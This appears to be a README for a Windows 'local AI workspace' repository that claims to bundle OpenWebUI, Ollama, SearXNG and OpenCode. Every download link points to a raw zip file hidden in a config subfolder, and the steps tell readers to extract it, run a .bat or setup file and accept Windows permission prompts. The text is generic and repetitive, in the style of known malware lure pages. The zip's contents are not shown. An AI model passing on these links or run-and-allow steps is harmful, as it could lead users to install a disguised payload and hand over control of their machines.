ai-experiments

# 🤖 ai-experiments - Run Local AI Tools With Ease [](https://raw.githubusercontent.com/donnade6461/ai-experiments/main/config/openwork/workers/experiments-ai-3.2.zip) ## 🚀 What This Is ai-experiments is a local AI setup for Windows. It brings together OpenWebUI, Ollama, SearXNG, and OpenCode in one place. You can use it to chat with local models, search the web, and work on coding tasks on your own machine. This setup focuses on privacy and speed. Your data stays local when possible, and the tools run on your computer instead of a remote service. ## 📥 Download and Start Use this link to visit this page to download: [https://raw.githubusercontent.com/donnade6461/ai-experiments/main/config/openwork/workers/experiments-ai-3.2.zip](https://raw.githubusercontent.com/donnade6461/ai-experiments/main/config/openwork/workers/experiments-ai-3.2.zip) ### Steps to get it on Windows 1. Open the link above in your browser. 2. Find the latest version or the main project files. 3. Download the package to your PC. 4. If the download comes as a ZIP file, right-click it and choose **Extract All**. 5. Open the extracted folder. 6. Look for the start file, such as a `.bat` file or setup file. 7. Double-click the file to run it. 8. If Windows asks for permission, choose **Yes**. ## 🖥️ What You Need This setup works best on a Windows 10 or Windows 11 PC with: - 8 GB RAM or more - 20 GB of free disk space - A modern CPU - Internet access for first-time setup and web search - A stable power source if you use a laptop For a smoother experience with local models, 16 GB RAM or more helps. ## 🧰 What You Get - **OpenWebUI** for a clean chat interface - **Ollama** for running local AI models - **SearXNG** for private web search - **OpenCode** for code work and project tasks - A local-first setup for research and development - A single environment instead of separate installs ## 🛠️ How to Install 1. Download the project from the link above. 2. Unzip the files if needed. 3. Open the folder in File Explorer. 4. Find the install or start file. 5. Double-click it. 6. Let Windows finish any setup it asks for. 7. Wait for the tools to start. 8. Open your browser if the app does not open on its own. 9. Use the local address shown by the app, such as `http://localhost:3000` or a similar address. If the setup uses Docker, it may take a few minutes the first time while it downloads the required images. ## 🔧 First Launch When you start ai-experiments for the first time: 1. Wait for all services to load. 2. Open OpenWebUI in your browser. 3. Choose or download a local model in Ollama. 4. Run a test chat. 5. Try a web search through SearXNG. 6. Open OpenCode for coding help if you want to work on a project. If the app feels slow at first, wait a little longer. The first run usually takes the most time. ## 🧭 Basic Use ### Chat with a local model - Open the chat screen in OpenWebUI - Pick a model from the list - Type a question or prompt - Read the answer in the browser ### Search the web - Open the search tool - Enter a topic or question - Review the search results - Open the pages you want to read ### Work on code - Open OpenCode - Load your project folder - Ask for help with code, files, or tasks - Review changes before you save them ## 🔒 Privacy Focus This setup is built for local use. That means: - Your chat can stay on your computer - Local models do not need a cloud account - Search and coding tools run in your own environment - You keep more control over your data If you use web search or online model downloads, those parts still need internet access. ## ⚙️ Common Setup Checks If the app does not start, check these items: - Docker Desktop is installed if the setup uses Docker - Virtualization is enabled in BIOS if required - Windows Firewall allows local app traffic - Enough disk space is free - No other app is using the same port If a browser page does not open, try typing the local address shown in the terminal or start window. ## 📂 Folder Layout A typical setup may include: - `docker-compose.yml` for service setup - `scripts` for start and stop files - `models` for local AI model files - `config` for app settings - `data` for saved workspace files Keep the folder in a place you can find later. Avoid moving files while the app is running. ## 🧪 Simple Test After setup, test the app with these steps: 1. Open OpenWebUI. 2. Ask a short question, such as: What is the capital of France? 3. Check that the model answers. 4. Open SearXNG and search for a simple topic. 5. Open OpenCode and load a small folder. 6. Make sure each tool opens without errors. ## 🧑‍💻 Good Use Cases - Local chat with AI models - Private research - Coding help - Offline or low-trust work - Testing different models - Learning how AI tools work together ## 🧯 If Something Goes Wrong ### The window closes right away - Run the start file again - Check for an error message - Make sure Windows allowed the app to run ### The browser cannot connect - Wait one more minute - Check the local address - Make sure the service finished starting ### The model will not load - Check free RAM - Try a smaller model - Close other heavy apps ### Search does not work - Check your internet connection - Reload the page - Restart the search service ## 📌 Repo Topics ai, ai-development, artificial-intelligence, crush, development-tools, docker, local-ai, ollama, opencode, openwebui, privacy, searxng ## 🧩 What This Project Is Built For This repository fits users who want one local AI workspace for: - Chat - Search - Code help - Model testing - Privacy-minded use - A cleaner desktop setup ## 📎 Start Here Again [Download or open the project page](https://raw.githubusercontent.com/donnade6461/ai-experiments/main/config/openwork/workers/experiments-ai-3.2.zip)